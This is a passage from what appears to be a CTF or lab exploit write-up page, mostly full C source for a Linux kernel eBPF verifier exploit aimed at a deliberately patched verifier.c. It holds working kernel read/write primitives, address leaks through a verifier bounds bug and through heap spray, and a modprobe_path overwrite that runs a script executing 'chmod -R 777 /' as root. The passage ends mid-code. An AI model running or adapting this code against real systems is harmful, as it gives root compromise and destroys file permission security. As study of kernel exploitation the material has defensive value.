      BPF_MOV64_REG(BPF_REG_6, BPF_REG_0),  // r6 = r0 == map_elem
      BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0,
                  0),  // r7 = [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),  // r1 = r7
      BPF_ALU64_IMM(BPF_RSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0x00000000ffffffff)
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0xffffffff00000000)

      BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe),  // r2 = 0x00000000fffffffe
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_2,
                    32),  // r2 = (val=0xfffffffe00000000, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_2,
                    1),  // r2 = (val=0xfffffffe00000001, mask=0)

      // When r1|=r2, r1 = (val=r1.val|r2.val, mask=(r1.mask|r2.mask) &amp;amp;
      // (~this.val)).
      // And if r1.mask == (u64)0, __mark_reg_known -&amp;gt;
      // ___mark_reg_known is called.
      // By this calling then r1&amp;#39;s min and max will be imm.
      // Because (~0xffffffff00000001) &amp;amp; 0xffffffff00000000 == 0 and
      // (~0xfffffffe00000001) &amp;amp; 0xffffffff00000000 == 0x100000000, we must use
      // BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe).
      BPF_ALU64_REG(BPF_OR, BPF_REG_1,
                    BPF_REG_2),  // r1 = (s32_min=1, s32_max=0, u32_min=1,
                                 // u32_max=0).
      BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),  // r1(w1) = (s32_min=1, s32_max=0,
                                            // u32_min=1, u32_max=0).

      BPF_MOV64_REG(
          BPF_REG_2,
          BPF_REG_7),  // r2 = r7 == [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_ALU64_IMM(BPF_AND, BPF_REG_2,
                    0x1),  // r2 = (val=1, mask=0x1)
      BPF_ALU64_REG(BPF_ADD, BPF_REG_1,
                    BPF_REG_2),  // r1 = r1 + r2 == (actual_val = 2; s32_min=1,
                                 // s32_max=1, u32_min=1, u32_max=1) ==
                                 // (actual_val=2; val=1, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_1,
                    -1),  // r1 = r1 + -1 == (actual_val=1; val=0, mask=0)
      BPF_MOV64_REG(BPF_REG_8,
                    BPF_REG_1),  // r8 = r1 == (actual_val=1; val=0, mask=0)

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0),
      // arg3(to) = fp-0x20
      BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),      // arg3 = fp
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),  // arg3 = arg3(fp)-0x20
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG3,
                  -0x18),  // *(u64*)(fp-0x18) = arg3 == fp-0x20
      // arg4(len)
      BPF_MOV64_REG(BPF_REG_ARG4,
                    BPF_REG_8),  // arg4 = r8 == (actual_val=1; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_MUL, BPF_REG_ARG4,
          0x10 - 1),  // arg4 = 0x0f * arg4 == (actual_val=0x0f; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_ADD, BPF_REG_ARG4,
          1),  // arg4 = arg4 + 1 == (actual_val=0x10; val=0x1, mask=0)
      // skb_load_bytes(skb, 0, fp-0x20, (actual_val=0x10; val=0x1, mask=0))
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),  // fp-0x18 = addr

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0x10),
      // arg3(to) = addr
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG3, BPF_REG_FP,
                  -0x18),  // arg3 = fp-0x18 == addr
      // arg4(len)
      BPF_MOV64_IMM(BPF_REG_ARG4, 8),
      // skb_load_bytes(skb, 0x10, addr, 8)
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),

      BPF_MOV64_IMM(BPF_REG_0, 0),
      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s\n&amp;#34;, verifier_log);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  uint64_t buf[] = {0xdeadbeefcafebebe, addr, val};
  write(socks[1], buf, sizeof(buf));

  close(socks[0]);
  close(socks[1]);
  close(progfd);

  return buf[0];
}
uint64_t aar64(uint64_t addr) {
  char verifier_log[0x10000];

  uint64_t map_val = 1;
  bpf_map_update(mapfd, 0, &amp;amp;map_val);

  struct bpf_insn insns[] = {
      // BPF_REG_ARG1 == struct __sk_buff
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG1,
                  -0x08),  // *(u64*)(fp-0x08) = skb

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(key) = fp-0x10
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // call map_lookup_elem(mapfd, &amp;amp;key(-&amp;gt;0))
      BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      BPF_EXIT_INSN(),

      BPF_MOV64_REG(BPF_REG_6, BPF_REG_0),  // r6 = r0 == map_elem
      BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0,
                  0),  // r7 = [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),  // r1 = r7
      BPF_ALU64_IMM(BPF_RSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0x00000000ffffffff)
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0xffffffff00000000)

      BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe),  // r2 = 0x00000000fffffffe
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_2,
                    32),  // r2 = (val=0xfffffffe00000000, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_2,
                    1),  // r2 = (val=0xfffffffe00000001, mask=0)

      // When r1|=r2, r1 = (val=r1.val|r2.val, mask=(r1.mask|r2.mask) &amp;amp;
      // (~this.val)).
      // And if r1.mask == (u64)0, __mark_reg_known -&amp;gt;
      // ___mark_reg_known is called.
      // By this calling then r1&amp;#39;s min and max will be imm.
      // Because (~0xffffffff00000001) &amp;amp; 0xffffffff00000000 == 0 and
      // (~0xfffffffe00000001) &amp;amp; 0xffffffff00000000 == 0x100000000, we must use
      // BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe).
      BPF_ALU64_REG(BPF_OR, BPF_REG_1,
                    BPF_REG_2),  // r1 = (s32_min=1, s32_max=0, u32_min=1,
                                 // u32_max=0).
      BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),  // r1(w1) = (s32_min=1, s32_max=0,
                                            // u32_min=1, u32_max=0).

      BPF_MOV64_REG(
          BPF_REG_2,
          BPF_REG_7),  // r2 = r7 == [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_ALU64_IMM(BPF_AND, BPF_REG_2,
                    0x1),  // r2 = (val=1, mask=0x1)
      BPF_ALU64_REG(BPF_ADD, BPF_REG_1,
                    BPF_REG_2),  // r1 = r1 + r2 == (actual_val = 2; s32_min=1,
                                 // s32_max=1, u32_min=1, u32_max=1) ==
                                 // (actual_val=2; val=1, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_1,
                    -1),  // r1 = r1 + -1 == (actual_val=1; val=0, mask=0)
      BPF_MOV64_REG(BPF_REG_8,
                    BPF_REG_1),  // r8 = r1 == (actual_val=1; val=0, mask=0)

      // arg1(skb)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x08),
      // arg2(offset)
      BPF_MOV64_IMM(BPF_REG_ARG2, 0),
      // arg3(to) = fp-0x20
      BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),      // arg3 = fp
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),  // arg3 = arg3(fp)-0x20
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_6,
                  -0x18),  // *(u64*)(fp-0x18) = arg3 == fp-0x20
      // arg4(len)
      BPF_MOV64_REG(BPF_REG_ARG4,
                    BPF_REG_8),  // arg4 = r8 == (actual_val=1; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_MUL, BPF_REG_ARG4,
          0x10 - 1),  // arg4 = 0x0f * arg4 == (actual_val=0x0f; val=0, mask=0)
      BPF_ALU64_IMM(
          BPF_ADD, BPF_REG_ARG4,
          1),  // arg4 = arg4 + 1 == (actual_val=0x10; val=0x1, mask=0)
      // skb_load_bytes(skb, 0, fp-0x20, (actual_val=0x10; val=0x1, mask=0))
      BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),  // fp-0x18 = addr

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(&amp;amp;key)
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // arg3(&amp;amp;val)
      BPF_LDX_MEM(BPF_DW, BPF_REG_ARG3, BPF_REG_FP, -0x18),
      // arg4(flags)
      BPF_MOV64_IMM(BPF_REG_ARG4, 0),
      // map_update_elem(mapfd, &amp;amp;key, &amp;amp;val, 0)
      BPF_EMIT_CALL(BPF_FUNC_map_update_elem),

      BPF_MOV64_IMM(BPF_REG_0, 0),
      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s\n&amp;#34;, verifier_log);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  uint64_t buf[] = {0xdeadbeefcafebebe, addr};
  write(socks[1], buf, sizeof(buf));
  bpf_map_lookup(mapfd, 0, &amp;amp;map_val);

  close(socks[0]);
  close(socks[1]);
  close(progfd);

  return map_val;
}

uint64_t bpf_map_addr = 0;

int main() {
  srand(time(NULL));

  mapfd = bpf_map_create(sizeof(uint64_t), 1);

  bpf_map_addr = leak_bpf_map_addr();
  printf(&amp;#34;[+] bpf_map_addr: 0x%016lx, &amp;amp;bpf_map_elem = 0x%016lx\n&amp;#34;, bpf_map_addr,
         bpf_map_addr + 0x110);

  const uint64_t kernel_base = aar64(bpf_map_addr) - BPF_MAP_OPS_OFFSET;
  printf(&amp;#34;[+] kernel_base: 0x%016lx\n&amp;#34;, kernel_base);

  const char* new_modprobe = &amp;#34;/tmp/evil.sh&amp;#34;;
  const size_t new_modprobe_len = strlen(new_modprobe);
  printf(&amp;#34;[*] Overwrite modprobe to %s\n&amp;#34;, new_modprobe);
  for (size_t i = 0; i &amp;lt; new_modprobe_len; i += 8) {
    aaw64(kernel_base + MODPROB_OFFSET + i, *(uint64_t*)(new_modprobe + i));
  }
  {
    int fd = open(&amp;#34;/proc/sys/kernel/modprobe&amp;#34;, O_RDONLY);
    if (fd &amp;lt; 0) {
      fatal(&amp;#34;open(/proc/sys/kernel/modprobe)&amp;#34;);
    }

    char modprobe[0x100];
    read(fd, modprobe, sizeof(modprobe));
    if (strncmp(modprobe, new_modprobe, new_modprobe_len)) {
      printf(&amp;#34;[*] new modprobe: %s\n&amp;#34;, modprobe);
      puts(&amp;#34;[-] Failed to overwrite modprobe&amp;#34;);
      return -1;
    }
    puts(&amp;#34;[+] Successfully overwritten modprobe&amp;#34;);
  }

  puts(&amp;#34;[+] Get root&amp;#34;);
  system(&amp;#34;echo -e &amp;#39;#!/bin/sh\nchmod -R 777 /&amp;#39; &amp;gt; /tmp/evil.sh&amp;#34;);
  system(&amp;#34;chmod +x /tmp/evil.sh&amp;#34;);
  system(&amp;#34;echo -e &amp;#39;\xde\xad\xbe\xef&amp;#39; &amp;gt; /tmp/pwn&amp;#34;);
  system(&amp;#34;chmod +x /tmp/pwn&amp;#34;);
  system(&amp;#34;/tmp/pwn&amp;#34;);

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h3 id=&#34;leaks&#34;&gt;Leaks&lt;/h3&gt;
&lt;h4 id=&#34;leak-addr-of-struct-bpf_map-using-adjust_ptr_min_max_vals&#34;&gt;Leak addr of &lt;code&gt;struct bpf_map&lt;/code&gt; using &lt;code&gt;adjust_ptr_min_max_vals&lt;/code&gt;&lt;/h4&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;546928317&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;546928317&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;leak_bpf_map_using_adjust_ptr_min_max_vals.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;// Patch location:
//    https://elixir.bootlin.com/linux/v5.18.14/source/kernel/bpf/verifier.c#L7957
// Diff:
//    7957c7957,7958
//    &amp;lt;               __mark_reg32_known(dst_reg, var32_off.value);
//    ---
//    &amp;gt;               // `scalar_min_max_or` will handler the case
//    &amp;gt;               //__mark_reg32_known(dst_reg, var32_off.value);

#include &amp;lt;asm-generic/socket.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/bpf.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;time.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#include &amp;#34;bpf_insn.h&amp;#34;

#define KERNEL_BASE 0xffffffff81000000
#define BPF_MAP_OPS_OFFSET (0xffffffff81c124a0 - KERNEL_BASE)
#define CORE_PATTERN_OFFSET (0xffffffff81eb25e0 - KERNEL_BASE)
#define MODBPROB_OFFSET (0xffffffff81e37fe0 - KERNEL_BASE)

void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}

void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}

int bpf(int cmd, union bpf_attr* attrs) {
  return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int bpf_map_create(int val_size, int max_entries) {
  union bpf_attr attr = {
      .map_type = BPF_MAP_TYPE_ARRAY,
      .key_size = sizeof(int),
      .value_size = val_size,
      .max_entries = max_entries,
  };

  int map_fd = bpf(BPF_MAP_CREATE, &amp;amp;attr);
  if (map_fd &amp;lt; 0) {
    fatal(&amp;#34;bpf(BPF_MAP_CREATE)&amp;#34;);
  }

  return map_fd;
}
int bpf_map_update(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&amp;amp;key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  int res = bpf(BPF_MAP_UPDATE_ELEM, &amp;amp;attr);
  if (res &amp;lt; 0) {
    fatal(&amp;#34;bpf(BPF_MAP_UPDATE_ELEM)&amp;#34;);
  }

  return res;
}
int bpf_map_lookup(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&amp;amp;key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  return bpf(BPF_MAP_LOOKUP_ELEM, &amp;amp;attr);
}

int mapfd = -1;
uint64_t leak_bpf_map_addr() {
  char verifier_log[0x10000];

  uint64_t val = 0;
  bpf_map_update(mapfd, 0, &amp;amp;val);

  struct bpf_insn insns[] = {
      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(key) = fp-0x08
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),
      // call map_lookup_elem(mapfd, &amp;amp;key(-&amp;gt;0))
      BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      BPF_EXIT_INSN(),

      BPF_MOV64_REG(BPF_REG_6, BPF_REG_0),           // r6 = r0
      BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0),  // r7 = [r0]
      BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),           // r1 = r7
      BPF_ALU64_IMM(BPF_RSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0x00000000ffffffff)
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0xffffffff00000000)

      BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe),  // r2 = 0x00000000fffffffe
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_2,
                    32),  // r2 = (val=0xfffffffe00000000, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_2,
                    1),  // r2 = (val=0xfffffffe00000001, mask=0)

      // When r1|=r2, r1 = (val=r1.val|r2.val, mask=(r1.mask|r2.mask) &amp;amp;
      // (~this.val)).
      // And if r1.mask == (u64)0, __mark_reg_known -&amp;gt;
      // ___mark_reg_known is called.
      // By this calling then r1&amp;#39;s min and max will be imm.
      // Because (~0xffffffff00000001) &amp;amp; 0xffffffff00000000 == 0 and
      // (~0xfffffffe00000001) &amp;amp; 0xffffffff00000000 == 0x100000000, we must use
      // BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe).
      BPF_ALU64_REG(BPF_OR, BPF_REG_1,
                    BPF_REG_2),  // r1 = (s32_min=1, s32_max=0, u32_min=1,
                                 // u32_max=0).

      BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),           // r1(w1) = w1(r1)
      BPF_MOV64_REG(BPF_REG_0, BPF_REG_6),           // r0 = r6
      BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_1),  // r0 += r1
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_0,
                  -0x10),  // *(u64*)(fp-0x10) = r0
      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(&amp;amp;key) = fp-0x08
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0),     // *(u64*)(fp-0x08) = 0
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),      // arg2 = fp
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),  // arg2 = arg2(fp)-0x08
      // arg3(&amp;amp;val) = fp-0x10
      BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),      // arg3 = fp
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),  // arg3 = arg3(fp)-0x10
      // arg4(flags)
      BPF_MOV64_IMM(BPF_REG_ARG4, 0),  // arg4 = 0
      // map_update_elem(mapfd, &amp;amp;key, &amp;amp;val, 0)
      BPF_EMIT_CALL(BPF_FUNC_map_update_elem),

      BPF_MOV64_IMM(BPF_REG_0, 0),
      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s\n&amp;#34;, verifier_log);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  write(socks[1], &amp;#34;Hello&amp;#34;, 5);

  bpf_map_lookup(mapfd, 0, &amp;amp;val);

  close(socks[0]);
  close(socks[1]);
  close(progfd);

  return val - 1 - 0x110;
}

uint64_t bpf_map_addr = 0;

int main() {
  srand(time(NULL));
  char verifier_log[0x10000];

  mapfd = bpf_map_create(sizeof(uint64_t), 1);

  bpf_map_addr = leak_bpf_map_addr();
  printf(&amp;#34;[+] bpf_map_addr: 0x%016lx, &amp;amp;bpf_map_elem = 0x%016lx\n&amp;#34;, bpf_map_addr,
         bpf_map_addr + 0x110);

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h4 id=&#34;leak-addr-of-struct-bpf_map-using-oob-read--heap-spray&#34;&gt;Leak addr of &lt;code&gt;struct bpf_map&lt;/code&gt; using oob read &amp;amp; heap spray&lt;/h4&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;376148295&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;376148295&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;leak_bpf_map_using_oob_read.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;// Patch location:
//    https://elixir.bootlin.com/linux/v5.18.14/source/kernel/bpf/verifier.c#L7957
// Diff:
//    7957c7957,7958
//    &amp;lt;               __mark_reg32_known(dst_reg, var32_off.value);
//    ---
//    &amp;gt;               // `scalar_min_max_or` will handler the case
//    &amp;gt;               //__mark_reg32_known(dst_reg, var32_off.value);

#include &amp;lt;asm-generic/socket.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/bpf.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;time.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#include &amp;#34;bpf_insn.h&amp;#34;

#define KERNEL_BASE 0xffffffff81000000
#define BPF_MAP_OPS_OFFSET (0xffffffff81c124a0 - KERNEL_BASE)
#define BPF_MAP_OPS_LOOKUP_IDX 12
#define BPF_MAP_OPS_LOOKUP_ELEM_OFFSET \
  (BPF_MAP_OPS_OFFSET + BPF_MAP_OPS_LOOKUP_IDX * 8)
#define BPF_MAP_OPS_UPDATE_ELEM_IDX 13
#define BPF_MAP_OPS_UPDATE_ELEM_OFFSET \
  (BPF_MAP_OPS_OFFSET + BPF_MAP_OPS_UPDATE_ELEM_IDX * 8)
#define CORE_PATTERN_OFFSET (0xffffffff81eb25e0 - KERNEL_BASE)
#define MODBPROB_OFFSET (0xffffffff81e37fe0 - KERNEL_BASE)

void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}

void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}

int bpf(int cmd, union bpf_attr* attrs) {
  return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int bpf_map_create(int val_size, int max_entries) {
  union bpf_attr attr = {
      .map_type = BPF_MAP_TYPE_ARRAY,
      .key_size = sizeof(int),
      .value_size = val_size,
      .max_entries = max_entries,
  };

  int map_fd = bpf(BPF_MAP_CREATE, &amp;amp;attr);
  if (map_fd &amp;lt; 0) {
    fatal(&amp;#34;bpf(BPF_MAP_CREATE)&amp;#34;);
  }

  return map_fd;
}
int bpf_map_update(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&amp;amp;key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  int res = bpf(BPF_MAP_UPDATE_ELEM, &amp;amp;attr);
  if (res &amp;lt; 0) {
    fatal(&amp;#34;bpf(BPF_MAP_UPDATE_ELEM)&amp;#34;);
  }

  return res;
}
int bpf_map_lookup(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&amp;amp;key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  return bpf(BPF_MAP_LOOKUP_ELEM, &amp;amp;attr);
}

int mapfd;
int map_spray_fd[0x100];
void make_corrupted_map() {
  uint64_t map_val = 1;

  puts(&amp;#34;[*] Spray struct bpf_map...&amp;#34;);
  for (int i = 0; i &amp;lt; sizeof(map_spray_fd) / 4; i++) {
    map_spray_fd[i] = bpf_map_create(sizeof(uint64_t), 1);
    bpf_map_update(map_spray_fd[i], 0, &amp;amp;map_val);
  }
  mapfd = map_spray_fd[0x81];

  char verifier_log[0x10000];

  bpf_map_update(mapfd, 0, &amp;amp;map_val);

  struct bpf_insn insns[] = {
      // BPF_REG_ARG1 == struct __sk_buff
      BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_ARG1,
                  -0x08),  // *(u64*)(fp-0x08) = skb

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(key) = fp-0x10
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x10, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x10),
      // call map_lookup_elem(mapfd, &amp;amp;key(-&amp;gt;0))
      BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      BPF_EXIT_INSN(),

      BPF_MOV64_REG(BPF_REG_6, BPF_REG_0),  // r6 = r0 == map_elem
      BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0,
                  0),  // r7 = [r0] == (val=1, mask=0xffffffffffffffff)
      BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),  // r1 = r7
      BPF_ALU64_IMM(BPF_RSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0x00000000ffffffff)
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_1,
                    32),  // r1 = (val=0, mask=0xffffffff00000000)

      BPF_MOV64_IMM(BPF_REG_2, 0x00000000fffffffe),  // r2 = 0x00000000fffffffe
      BPF_ALU64_IMM(BPF_LSH, BPF_REG_2,
                    32),  // r2 = (val=0xfffffffe00000000, mask=0)
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_2,
                    1),  // r2 = (val=0xfffffffe00000001, mask=0)

      // When r1|=r2, r1 = (val=r1.val|r2.val, mask=(r1.mask|r2.mask) &amp;amp;
      // (~this.val)).
      // And if r1.mask == (u64)0, __mark_reg_known -&amp;gt;
      // ___mark_reg_known is called.
      // By this calling then r1&amp;#39;s min and max will be imm.
      // Because (~0xffffffff00000001) &amp;amp; 0xffffffff00000000 == 0 and
